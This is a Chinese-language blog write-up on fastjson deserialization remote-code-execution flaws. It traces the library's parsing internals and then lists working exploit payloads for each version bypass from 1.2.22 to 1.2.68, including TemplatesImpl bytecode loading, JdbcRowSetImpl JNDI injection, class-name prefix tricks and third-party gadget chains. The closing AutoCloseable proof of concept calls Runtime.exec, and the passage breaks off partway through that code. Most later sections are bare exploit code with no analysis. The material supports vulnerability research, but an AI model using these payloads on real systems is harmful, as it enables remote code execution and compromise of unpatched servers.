fastjson反序列化

发布时间 2023-12-06 21:59:43作者: Jasper_sec

前言

fastjson是阿里巴巴旗下的一个Java库,用于Java对象和JSON字符串之间的转换。
这个库从2017-2022年,陆陆续续爆出了20多个反序列化RCE。
官方采用黑名单的方式修复漏洞,这导致出现一系列的bypass= =
image.png

序列化分析

package Pojo;

import java.util.Properties;

public class User {
    private String name;
    private int age;
    private String hobby;
    private Properties properties;


    public User() {
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getHobby() {
        return hobby;
    }

    public void setHobby(String hobby) {
        this.hobby = hobby;
    }

    public Properties getProperties() {
        System.out.println("调用了getProperties");
        return properties;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", hobby='" + hobby + '\'' +
                ", properties=" + properties +
                '}';
    }
}
import Pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
// fastjson 1.2.24
public class Test0 {
    public static void main(String[] args) throws Exception{
        // 全局配置,不进ASM动态类
        SerializeConfig.getGlobalInstance().setAsmEnable(false);
        ParserConfig.getGlobalInstance().setAsmEnable(false);

        User user = new User("Jasper", 22, "fuck some people");
//        String s1 = JSON.toJSONString(user);
//        System.out.println(s1);
        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println("序列化后的字符串:"+s2);
        System.out.println("-----------------------------------------------------");
    }
}

调用了getName
序列化后的字符串:{"@type":"Pojo.User","age":22,"hobby":"fuck some people","name":"Jasper"}

为什么会调getter

宏观上理解,为了把对象转JSON,需获取对象的属性值。要么调getter取值,要么反射取值,这里用的前者。

get:450, FieldInfo
getPropertyValueDirect:110, FieldSerializer
write:196, JavaBeanSerializer
write:275, JSONSerializer
toJSONString:559, JSON
toJSONString:548, JSON
main:16, Test0

image.png

构造JSON字符串的地方

核心在这个try-catch里,上面的调用getter取值也在这里面。

write:196, JavaBeanSerializer
write:275, JSONSerializer
toJSONString:559, JSON
toJSONString:548, JSON
main:16, Test0

image.png

反序列化分析

import Pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test0 {
    public static void main(String[] args) throws Exception{
        // 全局配置,不进ASM动态类
        SerializeConfig.getGlobalInstance().setAsmEnable(false);
        ParserConfig.getGlobalInstance().setAsmEnable(false);

        String s2 = "{\"@type\":\"Pojo.User\",\"age\":22,\"hobby\":\"fuck some people\",\"name\":\"Jasper\",\"properties\":{}}";
        System.out.println("---------------parse-------------------------");
        Object parse = JSON.parse(s2);
        System.out.println(parse);
        System.out.println("反序列化对象所属类:"+parse.getClass().getName());
        System.out.println("---------------parseObject-----------------------------");
        Object parse1 = JSON.parseObject(s2);
        System.out.println(parse1);
        System.out.println("反序列化对象所属类:"+parse1.getClass().getName());
        System.out.println("---------------parseObject---------------------------");
        Object parse2 = JSON.parseObject(s2,Object.class);
        System.out.println(parse2);
        System.out.println("反序列化对象所属类:"+parse2.getClass().getName());
    }
}

-----------------------------------------------------
调用了setName
调用了getProperties
User{name='Jasper', age=22, hobby='fuck some people', properties=null}
反序列化对象所属类:Pojo.User
-----------------------------------------------------
调用了setName
调用了getProperties
调用了getName
调用了getProperties
{"name":"Jasper","age":22,"hobby":"fuck some people"}
反序列化对象所属类:com.alibaba.fastjson.JSONObject
-----------------------------------------------------
调用了setName
调用了getProperties
User{name='Jasper', age=22, hobby='fuck some people', properties=null}
反序列化对象所属类:Pojo.User

Process finished with exit code 0

1.根据JSON字符串封装deserializer

宏观上看,此步骤依据一系列规则,选择出可以参与反序列化的field,存进fieldList,放入deserializer。

build:132, JavaBeanInfo
<init>:39, JavaBeanDeserializer
createJavaBeanDeserializer:586, ParserConfig
getDeserializer:461, ParserConfig
getDeserializer:312, ParserConfig
parseObject:367, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:16, Test0

image.png
当函数执行到return,获取到所有符合条件的field,里面有它对应的method,这是后面会调用到的。
image.png
这里面实际上就有很多分析文章里提到的,getter和setter需要满足的条件。
不满足下面这些if判断的method不会add进fieldList,也就不会在下一小节被调用。
setter需满足的条件
image.png
getter需满足的条件
image.png

2.调用deserializer#deserialize创建并初始化对象

核心逻辑就是,创建一个object变量,然后遍历前面获取的fieldList,对于每个field,调用其getter或者setter或者直接调用native set方法去给field赋值,然后返回object。

deserialze:271, JavaBeanDeserializer
deserialze:188, JavaBeanDeserializer
deserialze:184, JavaBeanDeserializer
parseObject:368, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:16, Test0

下面的图,给出了不同的field是如何设置属性值的。
image.png

parse和parseObject的区别

单参parseObject是parse的封装,在封装的末尾,多了一个JSON.toJSON(),转JSONObject类型的操作。
image.png
这个操作会调用obj对象的所有getter方法。
image.png
而双参parseObecjt则不会调用JSON.toJSON(),从调用getter/setter的角度相当于parse函数。
image.png
总结:单参parseObject先调用一遍parse能调用的setter和getter,然后再调用一遍object所有的getter;
双参parseObject在调getter/setter方面相当于parse。

1.2.22-1.2.24

TemplatsImpl链

本质上,就是利用fastjson的任意getter调用去调getOutputProperties,触发CC3后半的链条。

exp

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
// fastjson 1.2.22-1.2.24
public class Test1TemplatesImpl {
    public static void main(String[] args) throws Exception{
        String codes = ClassFile2Base64("D:\\Calc.class");
        String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String exp = String.format("{\"@type\":\"%s\",\"_bytecodes\": [\"%s\"],'_name':'jasper','_tfactory':{},'_outputProperties':{}}", className,codes);
        JSON.parse(exp, Feature.SupportNonPublicField);
    }

    public static String ClassFile2Base64(String filePath){
        byte[] buffer = null;
        try {
            FileInputStream fis = new FileInputStream(filePath);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int n;
            while((n = fis.read(b))!=-1) {
                bos.write(b,0,n);
            }
            fis.close();
            bos.close();
            buffer = bos.toByteArray();
        }catch(Exception e) {
            e.printStackTrace();
        }
        Base64.Encoder encoder = Base64.getEncoder();
        String value = encoder.encodeToString(buffer);
        return value;
    }
}

缺点

  • 要开Feature,挺鸡肋的

为什么加@type指定全类名

不加的话,parse函数不会触发getter和setter

为什么parse要加Feature参数

Feature.SupportNonPublicField,字面意思要允许给非public字段赋值,CC3这些字段都public的。
由此可见这条链其实很鸡肋。

为什么_bytecodes要base64编码

Fastjson解析到byte[]数组的时候,会对byte[]数组进行base64decode。

bytesValue:112, JSONScanner
deserialze:136, ObjectArrayCodec
parseArray:723, DefaultJSONParser
deserialze:177, ObjectArrayCodec
parseField:71, DefaultFieldDeserializer
parseField:773, JavaBeanDeserializer
deserialze:600, JavaBeanDeserializer
deserialze:188, JavaBeanDeserializer
deserialze:184, JavaBeanDeserializer
parseObject:368, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:193, JSON
main:13, Test1TemplatesImpl

为什么会触发getOutputProperties

前面我们知道parse函数触发getter比setter苛刻,但是getOutputProperties正好满足要求。

  • TemplatesImpl里只有对应的getter没有setter,setter不会抢getter位置
  • 函数名符合规范
  • 非static
  • 返回值是Properties,是Map接口的实现类
  • 无参

JdbcRowSetImpl链

本质是触发JNDI注入。

exp

import com.alibaba.fastjson.JSON;

public class Test1JdbcRowSetImpl {
    public static void main(String[] args) throws Exception{
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/remoteObj\" ,\"AutoCommit\":false}";
        JSON.parse(exp);
    }
}

缺点

  • 因为用的JNDI注入,受JDK版本限制
  • 要能出网,不然无法加载远程类

利用链分析

JdbcRowSetImpl#connect有一个标准的JNDI注入
image.png
存在对应setter可以控制注入点
image.png
find usage看哪调了connect,在JdbcRowSetImpl#setAutoCommit调用了,以这个做为sink点即可。
image.png

为什么是DataSourceName而不是dataSource

注意到exp里写的并不是属性名dataSource,而是对应setter去掉set后的字符串DataSourceName。
这涉及到fastjson反序列化的属性赋值流程:

  1. 通过setter/getter截断前三字符,确定为propertyName
  2. 扫描JSON String,通过propertyName匹配到propertyValue(这是我们控制属性值的地方)
  3. 调用对应setter,setter(propertyValue)

显然,在第二步扫描JSON String的时候,用的propertyName是函数截断后的字符,而不一定是真的属性名。
以上面为例,第二步是按照dataSourceName去JSON String里找对应值,而不是按dataSource去找。

1.2.25-1.2.41

引入autoTypeSupport,默认为False,开启黑白名单校验与Bypass之路。

补丁分析

修改fastjson版本到1.2.25,再次运行上面的exp,程序抛出异常。

注意到异常抛出点:com.alibaba.fastjson.parser.ParserConfig.checkAutoType,下断点调试

checkAutoType:805, ParserConfig
parseObject:322, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:6, Test1JdbcRowSetImpl

默认情况下,会进入这个IF,对类名先黑名单校验,再白名单校验。

黑名单里有前两条链子指定的类,所以直接抛异常。

开启autoTypeSupport的方法

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

acceptList添加方法

  • JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  • 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  • 配置文件配置:在1.2.25/26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

Exp

把@type对应的值改成:"L类名;",如下面的exp所示

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
// fastjson 1.2.25-1.2.41
public class Test2 {
    public static void main(String[] args) throws Exception{
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
        JSON.parse(exp);
    }
}

限制

需要开启autoTypeSupport,有点鸡肋。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

调试分析

按照exp的绕过方法,肯定是能过denyList的,问题是为什么那样写类名也能加载到,需要分析。

loadClass:1074, TypeUtils
checkAutoType:861, ParserConfig
parseObject:322, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:8, Test2

从下面可以看到,如果类名以"L"开头、以";"结尾,就会trim掉首尾的字符,然后递归调用loadClass。
所以这种绕过方法是能加载到类的,也就能正常执行exp了。
image.png

1.2.25-1.2.42

补丁分析

fastjson版本换到1.2.42,再次运行上面的exp,发现抛出异常了,检测到了上面那种类名写法。
image.png
被检测的到的原因,是开发人员在checkAutoType里,检测到前"L"后";"的类名,就提前trim一次。
另外,为了提高挖洞门槛,把denyList改成hash值了,不过github已经有项目跑出来了大部分黑名单类名。
image.png
image.png

Exp

把@type对应的值改成:"LL类名;;",即经典双写绕过,如下面的exp所示

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

// fastjson 1.2.25-1.2.42
public class Test3 {
    public static void main(String[] args) throws Exception{
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
        JSON.parse(exp);
    }
}

限制

需要开启autoTypeSupport,有点鸡肋。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

调试分析

这里问题在于它提前trim了一下我们的类名,但是实际上在后面的TypeUtils#loadClass里也会trim我们的类名,而且是递归trim,很容易想到双写绕过黑名单。
首先,在ParserConfig#checkAutoType里trim一下我们的类名,由于这里双写 ,可以过黑名单。

checkAutoType:906, ParserConfig
parseObject:311, DefaultJSONParser
parse:1338, DefaultJSONParser
parse:1304, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:9, Test3

image.png
然后,我们进到TypeUtils#loadClass里,这里会递归trim我们的类名,最后加载到我们的类。

loadClass:1131, TypeUtils [3]
loadClass:1127, TypeUtils
loadClass:1144, TypeUtils [2]
loadClass:1127, TypeUtils
loadClass:1144, TypeUtils [1]
checkAutoType:975, ParserConfig
parseObject:311, DefaultJSONParser
parse:1338, DefaultJSONParser
parse:1304, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:9, Test3

image.png

1.2.25-1.2.43

补丁分析

运行上个exp,报错,双写也被识别到了。
image.png
ParserConfig#checkAutoType下断点调试,看看怎么个事。
image.png
发现多加了一层IF,判断类名前两个字符是不是"L",是的话直接抛异常,这样双写肯定就失效了。

Exp

之前加"L;"的方法无法使用,但是还有加"["的方法,这是看TypeUtils#loadClass里处理类名的逻辑,自然想到的绕过方法,具体payload为什么是这样,看调试分析部分。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

// fastjson 1.2.25-1.2.43
public class Test4 {
    public static void main(String[] args) throws Exception{
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
        JSON.parse(exp);
    }
}

限制

需要开启autoTypeSupport,有点鸡肋。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

调试分析

首先,我们看TypeUtils#loadClass,这里显示如果第一个字符是"[",就trim掉,然后再执行loadClass,这是我们所希望的。
image.png
于是我们构造payload如下:

String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";

调试分析,发现会抛出异常

parseArray:675, DefaultJSONParser
deserialze:183, ObjectArrayCodec
parseObject:373, DefaultJSONParser
parse:1338, DefaultJSONParser
parse:1304, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:10, Test4

提示代码期待在指定位置","前面,加上"["符号。
image.png
于是我们改进payload如下,加上"["

String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";

再次抛出异常,提示我们在指定位置加上"{"符合。
image.png
于是我们再改进Payload如下:

String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";

成功执行命令。
image.png

1.2.25-1.2.45

补丁分析

运行上面的exp,会抛出异常,"["的绕过方式也被检测到了
image.png
开发者在ParserConfig#checkAutoType又加了校验,如果类名开头是"["直接抛出异常
image.png

Exp

利用mybatis的依赖里的类,去打Mybatis里的JNDI注入,因为JndiDataSourceFactory不在黑名单里。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

// fastjson 1.2.25-1.2.45
public class Test5 {
    public static void main(String[] args) throws Exception{
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/remoteObj\"}}";
        JSON.parse(exp);
    }
}

限制

需要目标服务端存在mybatis的jar包,版本要求:3.x.x<Version<3.5.0,也存在一些限制。

调试分析

JndiDataSourceFactory本来就不在黑名单里,自然就bypass了,这里只看一眼JNDI的地方。

setProperties:44, JndiDataSourceFactory
deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory
deserialze:267, JavaBeanDeserializer
parseObject:384, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:9, Test5

JndiDataSourceFactory#setProperties存在JNDI注入,和JdbcRowSetImpl链子基本一样,不再分析。
image.png

1.2.25-1.2.47

和之前的绕过思路不同,本质是利用java.lang.Class内置类将恶意类加载进缓存,然后再使用fastjson反序列化去加载这个恶意类时,就会走缓存而不会走黑名单校验,进而成功bypass。

Exp

import com.alibaba.fastjson.JSON;
// fastjson 1.2.25-1.2.47
public class Test6 {
    public static void main(String[] args) throws Exception{
        String exp = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}}";
        JSON.parse(exp);

    }
}

限制

不需要设置AutoTypeSupport,大大提高了可利用性!
下面是对Exp的影响,简单知道结论即可,无非是不同版本的checkAutoType里的逻辑有细微差别。

  • 不开启AutoTypeSupport:1.2.25-1.2.47通杀
  • 开启AutoTypeSupport:1.2.25-1.2.32报错,1.2.33-1.2.47打通

调试分析

这里默认不开启AutoTypeSupport,版本采用fastjson 1.2.47。
首先,在DefaultJSONParser#parseObject里解析JSON字符串,解析到第一个key是"a",当检查到下一个字符是"{"的时候,程序认为a的值是一个对象,于是递归调用parseObject函数去解析这个对象

parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
然后,继续解析又发现对象的key为"@type",先调用checkAutoType()对传入的类名做检查

parseObject:316, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
显然可过检测,java.lang.Class是可以在HashMap里直接找到的,通过findClass直接加载到,不走黑名单。

checkAutoType:901, ParserConfig
parseObject:316, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
于是加载到java.lang.Class对象并返回,下面就以类型为java.lang.Class为前提,对JSON字符串反序列化

parseObject:384, DefaultJSONParser [2]
parseObject:544, DefaultJSONParser [1]
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
java.lang.Class默认调用MiscCodec#deserialze,它要求传入的JSON字符串的key="val",不然抛异常;

deserialze:227, MiscCodec
parseObject:384, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
这也是payload为什么设置key为"val"的原因,如果key="val"的话,获取key的value,存入objVal/strVal
image.png
再调用TypeUtils#loadClass,加载key的value对应的类并返回,对应exp就是加载JdbcRowSetImpl对象并返回
image.png
到这里,实际上我们就已经达成了加载JdbcRowSetImpl类的目的,此时会在缓存mappings里存一份映射关系。

loadClass:1242, TypeUtils
loadClass:1206, TypeUtils
deserialze:335, MiscCodec
parseObject:384, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
接下来就是类似的,解析"b"的值是个对象,然后又发现里边的key="@type",走进checkAutoType里,但是这次它可以在mappings里找到JdbcRowSetImpl这个类,因为前面有缓存,直接在这返回,不走下面的黑名单。

getClassFromMapping:1202, TypeUtils
checkAutoType:949, ParserConfig
parseObject:316, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
至此,如图已绕过checkAutoType,加载到JdbcRowSetImpl这个类,后续利用JdbcRowSetImpl不再分析。

parseObject:319, DefaultJSONParser [2]
parseObject:544, DefaultJSONParser [1]
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png

1.2.25-1.2.59

漏洞分析

绕过禁用类黑名单。

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;

/*
    需开启AutoTypeSupport
    <dependency>
        <groupId>com.zaxxer</groupId>
        <artifactId>HikariCP</artifactId>
        <version>3.3.1</version>
    </dependency>
*/
public class Poc_1_2_59 {
    public static void main(String[] args) throws Exception{
        // some configrations
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);


        String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://localhost:1234/Calc\"}";
//        String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://localhost:1234/Calc\"}";
        JSON.parse(payload);
    }
}

限制

  • 需开启AutoTypeSupport
  • 需要HikariCP组件
  • 利用JNDI,受到JDK版本的限制

调试分析

暂无

1.2.25-1.2.61(复现失败)

漏洞分析

绕过黑名单

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
    需要开启AutoTypeSupport
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-proxy</artifactId>
        <version>1.0</version>
    </dependency>
*/
public class Poc_1_2_61 {
    public static void main(String[] args) {
        ParserConfig.global.setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"ldap://localhost:1234/Calc\",\"Object\":\"a\"}";
        JSON.parse(payload);
    }
}

限制

  • 要开autoTypeSupport
  • 要commons-proxy组件
  • 利用了JNDI,有JDK版本限制

调试分析

暂无

1.2.25-1.2.62

JndiConverter链

补丁分析

绕过禁用类黑名单。

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
    复现失败
    需要开启autoTypeSupport
    需要在JavaEE环境运行或含有javaee依赖
    <dependency>
        <groupId>slide</groupId>
        <artifactId>slide-kernel</artifactId>
        <version>2.1</version>
    </dependency>
    <dependency>
        <groupId>cocoon</groupId>
        <artifactId>cocoon-slide</artifactId>
        <version>2.1.11</version>
    </dependency>
    <dependency>
            <groupId>javax</groupId>
            <artifactId>javaee-api</artifactId>
            <version>8.0.1</version>
    </dependency>
*/
public class Poc_1_2_62_a {
    public static void main(String[] args) throws Exception{
        // turn on autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.cocoon.components.slide.impl.JMSContentInterceptor\", \"parameters\": {\"@type\":\"java.util.Hashtable\",\"java.naming.factory.initial\":\"com.sun.jndi.rmi.registry.RegistryContextFactory\",\"topic-factory\":\"ldap://127.0.0.1:1234/Calc\"}, \"namespace\":\"\"}";
        JSON.parse(payload);
    }
}

限制

  • 需要开启autoTypeSupport
  • 需要slide、cocoon和javaee组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

CocoonSlide链

补丁分析

绕过禁用类黑名单。

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
    需要开启autoTypeSupport
    <dependency>
        <groupId>org.apache.xbean</groupId>
        <artifactId>xbean-reflect</artifactId>
        <version>4.15</version>
    </dependency>
*/
public class Poc_1_2_62_b {
    public static void main(String[] args) throws Exception{

        // some configrations
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"ldap://localhost:1234/Calc\"}";
        JSON.parse(payload);
    }
}

限制

  • 需要开启autoTypeSupport
  • 需要xbean-reflect组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

1.2.25-1.2.66

shiro链

漏洞分析

绕过禁用类黑名单。

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
    需要开启autoTypeSupport
    <dependency>
        <groupId>org.apache.shiro</groupId>
          <artifactId>shiro-core</artifactId>
        <version>1.2.4</version>
    </dependency>
*/
public class Poc_1_2_66_a {
    public static void main(String[] args) throws ExportException {
        // turn on autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/Calc\"], \"Realms\":[\"\"]}";
        JSON.parse(payload);
    }
}

限制

  • 需要开启autoTypeSupport
  • 需要shiro组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

anteros链

漏洞分析

绕过禁用类黑名单。

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
    需要开启autoTypeSupport
    <dependency>
        <groupId>com.codahale.metrics</groupId>
        <artifactId>metrics-healthchecks</artifactId>
        <version>3.0.2</version>
    </dependency>
    <dependency>
        <groupId>br.com.anteros</groupId>
        <artifactId>Anteros-Core</artifactId>
        <version>1.2.1</version>
    </dependency>
    <dependency>
        <groupId>br.com.anteros</groupId>
        <artifactId>Anteros-DBCP</artifactId>
        <version>1.0.1</version>
    </dependency>
*/
public class Poc_1_2_66_b {
    public static void main(String[] args) throws ExportException {
        // turn on autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1234/Calc\"}";
//        String payload = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1234/Calc\"}";
        JSON.parse(payload);
    }
}

限制

  • 需要开启autoTypeSupport
  • 需要metrics-healthchecks、Anteros-Core、Anteros-DBCP组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

IbatisSqlmap链

漏洞分析

绕过禁用类黑名单。

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
    需要开启autoTypeSupport
    <dependency>
        <groupId>org.apache.ibatis</groupId>
        <artifactId>ibatis-sqlmap</artifactId>
        <version>2.3.4.726</version>
    </dependency>
    <dependency>
        <groupId>javax</groupId>
        <artifactId>javaee-api</artifactId>
        <version>8.0.1</version>
    </dependency>
*/
public class Poc_1_2_66_c {
    public static void main(String[] args) throws ExportException {
        // turn on autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1234/Calc\"}}";
        JSON.parse(payload);
    }
}

限制

  • 需要开启autoTypeSupport
  • 需要ibatis-sqlmap、javaee组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

1.2.25-1.2.67

igniteJta链

漏洞分析

禁用黑名单绕过。

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
    需要开启autoTypeSupport
    <dependency>
        <groupId>org.apache.ignite</groupId>
        <artifactId>ignite-jta</artifactId>
        <version>2.8.0</version>
    </dependency>
*/
public class Poc_1_2_67_a {
    public static void main(String[] args) throws ExportException {
        // turn on autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://localhost:1234/Calc\"], \"tm\": {\"$ref\":\"$.tm\"}}";
        JSON.parse(payload);
    }
}

限制

  • 需要开启autoTypeSupport
  • 需要ignite-jta组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

shiro链

漏洞分析

禁用黑名单绕过。

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
    需要开启autoTypeSupport
    <dependency>
        <groupId>org.apache.shiro</groupId>
          <artifactId>shiro-core</artifactId>
        <version>1.2.4</version>
    </dependency>
*/
public class Poc_1_2_67_b {
    public static void main(String[] args) throws ExportException {
        // turn on autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://localhost:1234/Calc\",\"instance\":{\"$ref\":\"$.instance\"}}";
        JSON.parse(payload);
    }
}

限制

  • 需要开启autoTypeSupport
  • 需要shiro组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

1.2.25-1.2.68

漏洞分析

利用expectClass绕过AutoType,不是黑名单绕过,不需要开autoTypeSupport。

Exp

package Poc;

import com.alibaba.fastjson.JSON;

public class Poc_1_2_68 {
    public static void main(String[] args) throws Exception{
        String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"Poc.VulAutoCloseable\",\"cmd\":\"calc\"}";
        JSON.parse(payload);
    }
}

package Poc;

public class VulAutoCloseable implements AutoCloseable{

    public VulAutoCloseable(String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
